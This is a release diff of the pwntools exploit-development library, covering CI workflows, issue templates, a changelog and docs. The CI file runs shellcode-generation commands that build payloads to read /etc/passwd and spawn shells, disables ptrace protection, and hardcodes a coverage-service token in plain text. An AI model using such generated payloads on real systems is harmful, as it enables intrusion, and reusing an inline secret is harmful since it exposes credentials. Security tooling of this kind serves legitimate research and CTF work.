[release] 4.2.0 is now "stable"

* [stable] Fix incorrectly-merged code

* [aarch64] Use byte-strings instead of strings

* [aarch64] Have different tests for str vs bytes

* [aarch64] Convert all items to binary before processing

* [aarch64] Fix doctest results

* [aarch64] Stopgap to fix Py3 CI tests

* [aarch64] Remove failing test, will address in a future release

.coveragerc

@@ -1,8 +1,11 @@
 [run]
 branch = True
+parallel = True
+concurrency = thread,multiprocessing
 omit =
     */constants/*
 source =
     pwn
     pwnlib
-    ~/.pwntools-cache/
+    ~/.pwntools-cache-2.7/
+    ~/.pwntools-cache-3.8/

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,54 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: backport-required, bug
+assignees: ''
+
+---
+
+Thanks for contributing to Pwntools!
+
+## Update Pwntools First
+
+When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
+
+## Debug Output
+
+Having the extra debug output really helps us, and might help you diagnose the problem yourself.
+
+When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
+
+```sh
+$ python exploit.py DEBUG LOG_FILE=log.txt
+```
+
+You should see `[DEBUG]` statements that show what's happening behind the scenes:
+
+```
+[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
+[DEBUG] Sent 0x7 bytes:
+    'whoami\n'
+[DEBUG] Sent 0x5 bytes:
+    'exit\n'
+[+] Receiving all data: Done (11B)
+[DEBUG] Received 0xb bytes:
+    'crashheap\n'
+[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
+```
+
+## Verify on Ubuntu
+
+If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04.  We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
+
+```sh
+# Download the Docker image
+$ docker pull pwntools/pwntools:stable
+
+# Boot the image
+$ docker run -it pwntools/pwntools:stable
+
+pwntools@7dc3ef409476:~$ python
+>>> from pwn import *
+>>> # Test your code here
+```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: feature
+assignees: ''
+
+---
+
+Thanks for contributing to Pwntools!   Ideas from the community help make Pwntools an amazing tool for everybody.
+
+If you've got an idea for a new feature, please provide information about:
+
+* What the feature does
+* Why the feature should exit
+* What tests should be included
+
+If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!

.github/ISSUE_TEMPLATE/question.md

@@ -0,0 +1,18 @@
+---
+name: Question
+about: Ask us a question about Pwntools
+title: ''
+labels: question
+assignees: ''
+
+---
+
+Thanks for using Pwntools!  If you have a question, here are some tips that will make it easier for us to help you.
+
+## Check the Documentation
+
+Pwntools has REALLY extensive documentation.  Please check there first!  https://docs.pwntools.com
+
+## Debug Output
+
+If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`.  This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.

.github/PULL_REQUEST_TEMPLATE.md

@@ -25,3 +25,8 @@ You can always [change the branch][change] after you create the PR if it's again
 [contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
 [testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
 [change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
+
+## Changelog
+
+After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  
+You can look at the existing changelog for examples of how to do this.

.github/workflows/changelog.yml

@@ -0,0 +1,20 @@
+name: Changelog
+on: [pull_request]
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Check changelog for updates
+      run: |
+        git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md

.github/workflows/ci.yml

@@ -0,0 +1,221 @@
+name: Continuous Integration
+on: [push, pull_request]
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        python-version: [2.7, 3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Git History 2
+      run: git log --oneline --graph -10
+
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: Verify tag against version
+      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        set -x
+        GITHUB_TAG=${GITHUB_REF#refs/tags/}
+        echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
+        vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
+        vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
+        [ "$vsetup" = "$vpwnlib" ]
+        [ "$GITHUB_TAG" = "$vsetup" ]
+
+    - name: Detect whether java is needed
+      id: java-needed
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+        GITHUB_COMMIT_RANGE: ${{ github.event.before }}...${{ github.event.after }}
+      run: |
+        if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
+          echo "Found release or important branch ($GITHUB_REF), forcing tests."
+        elif ! git show "$GITHUB_COMMIT_RANGE" >/dev/null; then
+          echo 'Incorrect commit range, forcing android tests.'
+        elif git log --stat "$GITHUB_COMMIT_RANGE" | grep -iE 'android|\<adb\>'; then
+          echo 'Found Android-related commits, forcing tests.'
+        else
+          # clear files that cause Android doctests
+          : > docs/source/adb.rst > docs/source/protocols/adb.rst
+          exit 0
+        fi
+        echo ::set-output name=need::openjdk-8-jre-headless
+
+    - name: Install Linux dependencies
+      env:
+        ANDROID_JRE: ${{ steps.java-needed.outputs.need }}
+      run: |
+        sudo apt-get update
+        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
+          ash bash-static dash ksh mksh zsh \
+          pandoc gdb gdbserver socat sshpass \
+          binutils-multiarch qemu-user-static \
+          binutils-aarch64-linux-gnu \
+          binutils-arm-linux-gnueabihf \
+          binutils-mips-linux-gnu \
+          binutils-powerpc-linux-gnu \
+          gcc-multilib \
+          libc6-dbg \
+          $ANDROID_JRE
+
+    - name: Install android avd
+      if:  steps.java-needed.outputs.need
+      run: |
+        USER=travis source travis/install.sh
+        set | egrep '^(ANDROID|PATH)' >.android.env
+
+    - name: Set up SSH
+      run: |
+        travis/ssh_setup.sh
+
+    - name: Install dependencies
+      run: |
+        pip install --upgrade pip
+        pip install --upgrade flake8 appdirs
+        python setup.py egg_info
+        pip install --upgrade --editable .
+
+    - name: Sanity checks
+      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+
+    - name: Install documentation dependencies
+      run:  pip install -r docs/requirements.txt
+
+    - name: Disable broken tests
+      run: |
+        rm -f docs/source/elf/corefile.rst
+
+    - name: Manually install non-broken Unicorn
+      run:  pip install unicorn==1.0.2rc3
+
+    - name: Coverage doctests
+      run: |
+        source .android.env || :
+        echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
+        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
+
+    - name: Coverage running examples
+      run: |
+        export TERM=linux
+        set -x
+        python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
+        python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
+        coverage run examples/asm.py
+        coverage run examples/asm.py
+        coverage run examples/text.py
+        # for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
+
+    - name: Coverage running commandline tools
+      run: |
+        export TERM=linux
+        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
+        set -x
+
+        pwn cyclic 32
+        pwn cyclic -l 0x62616161
+        pwn cyclic -a ab
+        echo
+
+        pwn shellcraft --list |tail
+        pwn shellcraft -l --syscalls |tail
+        pwn shellcraft -l execve
+        pwn shellcraft --show i386.linux.loader_append
+        pwn shellcraft -f asm --color amd64.linux.sh
+        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
+        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null
+        pwn shellcraft -f str aarch64.linux.sh </dev/null
+        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
+        pwn shellcraft -fp aarch64.trap
+
+        pwn disasm --color ff3424c3ebfe
+        pwn asm -f hex nop
+
+        pwn hex abcd
+        pwn unhex 4141 4141
+
+        cat /dev/urandom | pwn phd --color -c 256 -s 2
+        pwn phd -l 0x3d --color=always /etc/os-release
+
+        pwn checksec /bin/bash
+
+        pwn errno 2
+        pwn errno -1
+        pwn errno EADDRINUSE
+
+        pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
+        pwn constgrep ^MAP_ 0
+        pwn constgrep -e O_RDWR
+
+    - name: Build source and wheel distributions
+      run: |
+        python setup.py sdist
+        python setup.py bdist_wheel --universal
+
+    - uses: actions/upload-artifact@v2
+      with:
+        name: packages
+        path: dist/
+
+    - name: Upload coverage to coveralls.io
+      run: |
+        coverage combine
+        COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
+
+  staging-merge:
+    runs-on: ubuntu-latest
+    if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
+    needs: build
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 20
+    - name: Push changes to protected branch
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        BRANCH=${GITHUB_REF#refs/heads/}
+        TARGET=${BRANCH%-staging}
+        git branch -f "$TARGET"
+        git push origin "$TARGET"
+
+  pypi:
+    runs-on: ubuntu-latest
+    if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+    needs: build
+    steps:
+    - name: Download artifacts
+      uses: actions/download-artifact@v2
+      with:
+        name: packages
+        path: dist
+
+    - name: Publish package
+      uses: pypa/[email protected]
+      with:
+        user: __token__
+        password: ${{ secrets.pypi_password }}
+
+    - if: failure()
+      run: ls -R

.github/workflows/lint.yml

@@ -0,0 +1,33 @@
+name: Lint
+on: [push, pull_request]
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        python-version: [3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: Lint
+      run: |
+        pip install flake8
+        flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
+        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__

.gitignore

@@ -11,7 +11,9 @@ docs/build
 build
 MANIFEST
 dist
+venv
+.vscode
 *.egg-info
 *.core
 .coverage
-.tox
+.coverage.*

.travis.yml

@@ -1,9 +1,7 @@
-dist: precise
 language: python
 addons:
   apt:
     packages:
-    - gcc-multilib
     - lib32stdc++6
     - ash
     - bash
@@ -13,14 +11,28 @@ addons:
     - zsh
     - pandoc
     - gdb
+    - socat
+    - sshpass
+    - binutils
+    - qemu-user-static
+    - binutils-multiarch
+    - binutils-aarch64-linux-gnu
+    - binutils-arm-linux-gnueabihf
+    - binutils-mips-linux-gnu
+    - binutils-powerpc-linux-gnu
+    - bash-static
 cache:
     - pip
     - directories:
         - usr
-        - /home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/
-        - /home/travis/virtualenv/python2.7.13/bin/
+        - /home/travis/virtualenv/python2.7.15/lib/python2.7/site-packages/
+        - /home/travis/virtualenv/python2.7.15/bin/
+        - /home/travis/virtualenv/python3.8.*/lib/python3.8/site-packages/
+        - /home/travis/virtualenv/python3.8.*/bin/
+        - docs/build/doctest/.doctrees
 python:
   - "2.7"
+  - "3.8"
 before_install:
   - echo $-
   - source travis/install.sh
@@ -28,16 +40,22 @@ before_install:
   - echo $-
 install:
   - pip install --upgrade pip
-  - pip install --upgrade appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
+  - pip install --upgrade flake8 appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
+  - python setup.py egg_info      # pypa/pip#6275
   - pip install --upgrade --editable .
   - pip install --upgrade --requirement docs/requirements.txt
 before_script:
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - sudo sh -c "echo 0 > /proc/sys/kernel/yama/ptrace_scope"
 script:
+  # stop the build if there are Python syntax errors or undefined names
+  - flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
+  # exit-zero treats all errors as warnings.  The GitHub editor is 127 chars wide
   - PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
+  - coverage combine
 after_success:
   - coveralls
   - source travis/update_demo.sh

CHANGELOG.md

@@ -9,9 +9,19 @@ The table below shows which release corresponds to each branch, and what date th
 
 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
-| [3.11.0](#3110)  | `dev`    | Dec 2, 2017 (planned)
-| [3.10.0](#3100)  | `beta`   | Oct 21, 2017 (planned)
-| [3.9.2](#392)    | `stable` | Oct 5, 2017
+| [4.3.0](#430)    | `dev`    | Jun 30, 2020 (planned)
+| [4.2.0](#420)    | `beta`   | Jun 5, 2020 (planned)
+| [4.1.1](#411)    | `stable` | Jun 3, 2020
+| [4.1.0](#410)    |          | May 8, 2020
+| [4.0.1](#401)    |          | Jan 22, 2020
+| [4.0.0](#400)    |          | Jan 09, 2020
+| [3.13.0](#3130)  |          | Nov 5, 2019
+| [3.12.2](#3122)  |          | Jan 8, 2019
+| [3.12.1](#3121)  |          | Sept 17, 2018
+| [3.12.0](#3120)  |          | Feb 22, 2018
+| [3.11.0](#3110)  |          | Jan 3, 2018
+| [3.10.0](#3100)  |          | Oct 25, 2017
+| [3.9.2](#392)    |          | Oct 5, 2017
 | [3.9.1](#391)    |          | Sep 28, 2017
 | [3.9.0](#390)    |          | Sep 11, 2017
 | [3.8.0](#380)    |          | Jul 29, 2017
@@ -39,13 +49,219 @@ The table below shows which release corresponds to each branch, and what date th
 | [3.0.0](#300)    |          | Aug 20, 2016
 | [2.2.0](#220)    |          | Jan 5, 2015
 
+## 4.3.0 (`dev`)
+
+To be released on Jun 30, 2020.
+
+## 4.2.0 (`beta`)
+
+To be released on Jun 5, 2020.
+
+- [#1436][1436] Add ret2dlresolve automation
+- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
+- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)
+- [#1454][1454] Support for windows console colors
+
+[1436]: https://github.com/Gallopsled/pwntools/pull/1436
+[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
+[1454]: https://github.com/Gallopsled/pwntools/pull/1454
+
+## 4.1.7 (`stable`)
+
+- [#1615][1615] Fix aarch64 pushstr and pushstr_array
+
+[1615]: https://github.com/Gallopsled/pwntools/pull/1454
+
+## 4.1.5
+
+- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
+
+[1517]: https://github.com/Gallopsled/pwntools/pull/1517
+
+## 4.1.4
+
+- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
+
+[1609]: https://github.com/Gallopsled/pwntools/pull/1609
+
+## 4.1.3
+
+- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
+  - Also fix `run_in_new_terminal` for Py2 unicode strings
+- [#1595][1595] Fix ssh.process(timeout=)
+
+[1590]: https://github.com/Gallopsled/pwntools/pull/1590
+[1595]: https://github.com/Gallopsled/pwntools/pull/1595
+
+## 4.1.2
+
+- Pwntools requires `six` v.1.12.0 or higher
+
+## 4.1.1
+
+- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
+- Fix wrong ELF/context unpack handling (c4c11a37)
+- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
+- Update Corefile warnings and replace asserts with normal checks (#1526)
+- several py2-py3 issues (#1451)
+- Fix cyclic command
+
+## 4.1.0
+
+- [#1316][1316] Fix connect shellcraft in python 3
+- [#1323][1323] Fix issues related with debugging
+- [#1001][1001] Enhance `unlock_bootloader` with better status messages
+- [#1389][1389] remove old dependencies
+- [#1241][1241] Launch QEMU with sysroot if specified
+- [#1218][1218] Support for FileStructure exploitation
+
+[1316]: https://github.com/Gallopsled/pwntools/pull/1316
+[1323]: https://github.com/Gallopsled/pwntools/pull/1323
+[1001]: https://github.com/Gallopsled/pwntools/pull/1001
+[1389]: https://github.com/Gallopsled/pwntools/pull/1389
+[1241]: https://github.com/Gallopsled/pwntools/pull/1241
+[1218]: https://github.com/Gallopsled/pwntools/pull/1218  
+
+## 4.0.1
+
+- [#1412][1412] `recvline_pred()` and similar do not reorder data
+- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package
+
+[1412]: https://github.com/Gallopsled/pwntools/pull/1412
+
+## 4.0.0
+
+- **Python 3 support! <3**
+- [#1402][1402] Fix serialtube in python 3
+- [#1391][1391] Fix process.libs
+- [#1317][1317] Tubes with `context.encoding`
+- [#1216][1216] Improve format string generator
+- [#1285][1285] Add freebsd generic syscall templates
+- [76413f][76413f] Add pwnlib.adb.bootimg for 'ANDROID!' format boot.img images
+- [#1202][1202] Docker: Kill 14 layers in pwntools base images
+- [#1182][1182] shellcraft.dupio() for mips
+
+[1402]: https://github.com/Gallopsled/pwntools/pull/1402
+[1391]: https://github.com/Gallopsled/pwntools/pull/1391
+[1317]: https://github.com/Gallopsled/pwntools/pull/1317
+[1285]: https://github.com/Gallopsled/pwntools/pull/1285
+[1216]: https://github.com/Gallopsled/pwntools/pull/1216
+[1202]: https://github.com/Gallopsled/pwntools/pull/1202
+[1182]: https://github.com/Gallopsled/pwntools/pull/1182
+[76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
+
+## 3.13.0
+
+- [#1204][1204] Reduce ROP cache filename length
+- [#1175][1175] Fix nested SSH connectors
+- [#1355][1355] Fix 'break' syscall
+- [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
+- [#1292][1292] Provide correct arch name to gdb for sparc64
+
+[1175]: https://github.com/Gallopsled/pwntools/pull/1175
+[1204]: https://github.com/Gallopsled/pwntools/pull/1204
+[1277]: https://github.com/Gallopsled/pwntools/pull/1277
+[1292]: https://github.com/Gallopsled/pwntools/pull/1292
+[1355]: https://github.com/Gallopsled/pwntools/pull/1355
+
+## 3.12.2
+
+- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
+- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
+
+[1242]: https://github.com/Gallopsled/pwntools/pull/1242
+[1243]: https://github.com/Gallopsled/pwntools/pull/1243
+
+## 3.12.1
+
+- [#1198][1198] More compatibility fixes for pyelftools==0.25, and pin Sphinx<1.8.0 since it causes testing errors
+- [#1191][1191] Fix compatibility with pyelftools==0.25
+- [#1159][1159] Fix check for `/proc/.../status`
+- [#1162][1162] Fix broken package versions
+- [#1150][1150] Fix exception raised when a cache file is missing
+- [#1156][1156] Fix ROP gadget selection logic involving `int` and `syscall` instructions
+- [#1152][1152] Fix QEMU LD_PREFIX calculation (wrong parameter passed)
+- [#1155][1155] Use Ubuntu Trusty for all CI builds
+- [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
+- [#1125][1125] Fix a typo
+- [#1121][1121] Fix tests which were broken by an upstream Sphinx change
+- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
+- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
+- [5fdc08][5fdc08] Work around broken `pidof` on Android
+- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
+- [#1094][1094] Make hexdump output alignment more consistent
+- [#1096][1096] `flat()` and `fit()` are now the same function
+
+[1198]: https://github.com/Gallopsled/pwntools/pull/1198
+[1191]: https://github.com/Gallopsled/pwntools/pull/1191
+[1159]: https://github.com/Gallopsled/pwntools/pull/1159
+[1162]: https://github.com/Gallopsled/pwntools/pull/1162
+[1150]: https://github.com/Gallopsled/pwntools/pull/1150
+[1156]: https://github.com/Gallopsled/pwntools/pull/1156
+[1152]: https://github.com/Gallopsled/pwntools/pull/1152
+[1155]: https://github.com/Gallopsled/pwntools/pull/1155
+[1131]: https://github.com/Gallopsled/pwntools/pull/1131
+[1125]: https://github.com/Gallopsled/pwntools/pull/1125
+[1121]: https://github.com/Gallopsled/pwntools/pull/1121
+[1104]: https://github.com/Gallopsled/pwntools/pull/1104
+[1101]: https://github.com/Gallopsled/pwntools/pull/1101
+[1094]: https://github.com/Gallopsled/pwntools/pull/1094
+[1096]: https://github.com/Gallopsled/pwntools/pull/1096
+[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
+[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
+
+## 3.12.0
+
+- [#1083][1083] Better error messages for `gdb` when `LD_PRELOAD` is incorrect
+- [#1085][1085] Add support for extracting Android `BOOTLDR!` images
+- [#1075][1075] Add support for detecting GNU Screen for `run_in_new_terminal`
+- [#1074][1074] Add support for running `pwntools-gdb` wrapper script instead of `gdb`
+- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it
+- [#1067][1067] Add `pwnlib.tubes.server` module, which adds a reusable `server` listener
+- [#1063][1063] Add support for labels in `fit()`, allowing dynamic contents to be injected.  (This feature is really cool, check out the pull request!)
+
+[1083]: https://github.com/Gallopsled/pwntools/pull/1083
+[1085]: https://github.com/Gallopsled/pwntools/pull/1085
+[1075]: https://github.com/Gallopsled/pwntools/pull/1075
+[1074]: https://github.com/Gallopsled/pwntools/pull/1074
+[1068]: https://github.com/Gallopsled/pwntools/pull/1068
+[1067]: https://github.com/Gallopsled/pwntools/pull/1067
+[1063]: https://github.com/Gallopsled/pwntools/pull/1063
+
 ## 3.11.0
 
-To be released on Dec 2, 2017.
+- [#1044][1044] Enhancements to ROP
+    + Much better support for 64-bit Intel (amd64) ROP
+    + ROP gadget selection is optimized to favor multi-pops instead of multiple single-pop gadgets
+    + Added support for blacklisting byte values in ROP gadget addresses
+- [#1049][1049] Enhancements to `cyclic`
+    + `context` now has two additional attributes, `cyclic_alphabet` and `cyclic_length`, which correspond to the arguments `alphabet` and `n` to `cyclic()` and `cyclic_find()` and related routines.
+    + The motivation for this change is to allow setting the `alphabet` globally, so that any padding / patterns generated internally to pwntools can be controlled.  The specific motivation is blacklisting values in ROP padding.
+- [#1052][1052] Enhancements for detecting `QEMU_LD_PREFIX` used by QEMU user-mode emulation for sysroots
+- [#1035][1035] Minor documentation changes
+- [#1032][1032] Enhancements to `pwn template`
+- [#1031][1031] More accurate `Coredump.fault_addr` on amd64
+- [#1084][1084] Fix broken tests due to `ftp.debian.org` going down
+
+[1044]: https://github.com/Gallopsled/pwntools/pull/1044
+[1049]: https://github.com/Gallopsled/pwntools/pull/1049
+[1052]: https://github.com/Gallopsled/pwntools/pull/1052
+[1035]: https://github.com/Gallopsled/pwntools/pull/1035
+[1032]: https://github.com/Gallopsled/pwntools/pull/1032
+[1031]: https://github.com/Gallopsled/pwntools/pull/1031
+[1084]: https://github.com/Gallopsled/pwntools/pull/1084
 
 ## 3.10.0
 
-To be released on Oct 21, 2017.
+- [#1007][1007] Add support for setting a `gdbinit` file in the context
+- [#1055][1055] Fixes for `Corefile` stack parsing, speed up `ELF.string()`
+- [#1057][1057] Fix a variable name typo in `DynELF` logging which results in an exception being thrown
+- [#1058][1058] Fix an edge case in `ssh_process.exe`
+
+[1007]: https://github.com/Gallopsled/pwntools/pull/1007
+[1055]: https://github.com/Gallopsled/pwntools/pull/1055
+[1057]: https://github.com/Gallopsled/pwntools/pull/1057
+[1058]: https://github.com/Gallopsled/pwntools/pull/1058
 
 ## 3.9.2
 

README.md

@@ -2,7 +2,7 @@
 ![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
 
 [![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
-[![PyPI](https://img.shields.io/badge/pypi-v3.9.2-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
+[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
 [![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
 [![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
 [![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
@@ -32,15 +32,15 @@ To get you started, we've provided some example solutions for past CTF challenge
 
 # Installation
 
-Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, and 16.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python 2.7 is required.
+Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python >= 2.7 is required (Python 3 suggested as best).
 
 Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
 
 ```sh
 apt-get update
-apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
-pip install --upgrade pip
-pip install --upgrade pwntools
+apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+python3 -m pip install --upgrade pip
+python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev
 ```
 
 However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).

docs/dashbuild.py

@@ -44,7 +44,7 @@ def main(args):
 		doc2dash.__main__.main.main( \
 			[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
 					"-f", "-I", "index.html"], "doc2dash", False)
-	except SystemExit,e:
+	except SystemExit as e:
 		pass
 
 	# Insert a link to the online version.

docs/requirements.txt

@@ -1,16 +1,17 @@
-sphinxcontrib-napoleon
-sphinxcontrib-autoprogram==0.1.2
-isort
-paramiko>=1.15.2
-mako>=1.0.0
-pyelftools>=0.2.3
 capstone
-ropgadget>=5.3
+coveralls
+doc2dash
+isort
+mako>=1.0.0
+paramiko>=1.15.2
+pip>=6.0.8
+pyelftools>=0.2.3
+pygments>=2.0
+pypandoc
 pyserial>=2.7
 requests>=2.5.1
-pip>=6.0.8
-tox>=1.8.1
-pygments>=2.0
+ropgadget>=5.3
+sphinx
 sphinx_rtd_theme
-doc2dash
-coveralls
+sphinxcontrib-napoleon
+sphinxcontrib-autoprogram

docs/source/about.rst

@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
 importing :mod:`pwnlib` or any of the submodules should have any significant
 side-effects (besides e.g. caching).
 
-For the most part, you will also only get the bits you import. You for instance
+For the most part, you will also only get the bits you import. You for instance would
 not get access to :mod:`pwnlib.util.packing` simply by doing ``import
 pwnlib.util``.
 

docs/source/adb.rst

@@ -1,5 +1,6 @@
 .. testsetup:: *
 
+   from pprint import pprint
    from pwn import *
    adb = pwnlib.adb
 

docs/source/asm.rst

@@ -6,6 +6,7 @@
    from pwnlib.asm import *
    from pwnlib import shellcraft
    from pwnlib.tubes.process import process
+   from pwnlib.util.fiddling import unhex
 
 
 :mod:`pwnlib.asm` --- Assembler functions

docs/source/conf.py

@@ -12,6 +12,9 @@
 # serve to show the default.
 
 import os
+import doctest
+import signal
+import six
 import subprocess
 import sys
 
@@ -24,8 +27,6 @@ sys.path.insert(0, os.path.abspath('../..'))
 
 import pwnlib
 
-# -- General configuration -----------------------------------------------------
-
 # If your documentation needs a minimal Sphinx version, state it here.
